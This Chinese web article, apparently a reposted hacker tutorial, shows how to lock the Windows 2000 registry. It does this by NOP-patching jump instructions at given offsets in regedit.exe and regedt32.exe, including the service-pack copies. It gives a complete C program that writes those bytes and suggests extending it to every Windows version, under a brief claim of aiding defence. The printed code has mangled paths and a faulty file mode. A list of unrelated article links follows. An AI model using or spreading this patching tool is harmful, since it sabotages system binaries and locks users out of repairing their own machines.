注册表终极操作—锁定注册表 _云知道

你有没有遇到注册表被锁定，无法打开注册表来手工修复呢？很多人都为这个头疼吧，相信你被锁定一次就知道他的操作原理了：
修改[HKEY_CURRENT_USERSoftware
MicrosoftWindowsCurrent
VersionPoliciesSystem]下的DisableRegistryTools值为1
解锁的方法也有几种，比如程序用API函数调用注册表直接删除，做一个REG文件直接导入，写一个脚本…………
今天我就教大家写个程序来实现另类锁定，是不是很好奇了？跟我来。
实验环境：windows2000
实验目的：锁定注册表（本方法利用了Cracker的思路来实现，直接让程序修改程序指令，使调用注册表程序禁止。）
实现方法：C程序
首先我们要按照Cracker的思路反汇编WINNT下的regedit.exe和regedt32.exe找到跳转指令，怎么得到这些信息不是我们今天的目的，这里我就不详细介绍了，以下是我反汇编找到的跳转地址：
1.regedit.exe
偏移地址：0x69CA 将指令：0x74 0x1A 修改成:0x90 0x90
2.regedt32.exe
偏移地址：0x10bf2 将指令：0x74 0x52 修改成:0x90 0x90
现在我们用程序把这2个偏移地址的指令给修改成0x90 0x90 ( 0x90代表nop,就是让程序什么也不做，执行下一条指令)让我们看看程序是如何实现的吧。
#include
#include
bool scanreg(const char *file,long offset, int length,char *the); /*函数说明*/
main()
{
char the[]={ 0x90,0x90 };
scanreg("C:WINNTregedit.exe",0x69CA,0x02,the); /*调用函数修改winnt下的regedit.exe 其中的0x02是修改长度*/
scanreg("C:WINNTServicePackFilesi386regedit.exe",0x69CA,0x02,the); /*调用函数改变补丁下regedit.exe*/
scanreg("C:WINNTsystem32regedt32.exe",0x10bf2,0x02,the); /*调用函数修改system32下的regedt32.exe */
scanreg("C:WINNTServicePackFilesi386regedt32.exe",0x10bf2,0x02,the); /*调用函数改变补丁下regedt32.exe*/
}
bool scanreg(const char *file,long offset, int length,char *the)
{
FILE *fp = NULL;
bool result=false;
if((fp=fopen(file,"rb "))!=NULL) /*打开文件进行读写操作*/
{
fseek(fp,offset,1); /*把指针指向我们定义的偏移地址*/
fwrite(the,length,1,fp); /*修改程序，把指令替换成0x90*/
fclose(fp); /*关闭文件*/
result=true;
}
return(result);
}
【注册表终极操作—锁定注册表】好了，我这里只是一个示范，只适合2000系统，把windows每种系统的注册表调用程序都分析一下，然后在程序开始用API函数GetVersionEx(LPOSVERSIONINFO lpVersionInfo)判断系统，根据判断的系统来调用相应的修改函数。那不是通杀windows了？上面把方法公布出来，以便大家做好防范。

注册表终极操作—锁定注册表

推荐阅读

成为国家中心城市有哪些好处

学习java需要哪些基础知识

待机电量图标的变化

生猪未来每头可赚近800元肉鸡明年迎上涨契机

我的世界手游肉排皮革怎么获得我的世界动物伊米介绍

丰田小suv车型大全丰田小suv车型大全图片

消防门是不是应该常闭

做剁辣椒宜选哪个品种的辣椒

骑砍1257ad弓箭强吗

三代身份证何时发行身份证的作用

狗狗可以吃鸡蛋吗

战翼这个词什么意思是什么,《银河补习班》都开设了些啥课程

摄像头小米和360哪个好,还是小米的好

猫绝育的蛋蛋怎么处理？猫绝育后的蛋蛋怎么处理

陶瓷用什么粘

dnf女漫游二次觉醒，DNF女漫游输出上衣选什么二觉被动还是二觉求大佬指点给出原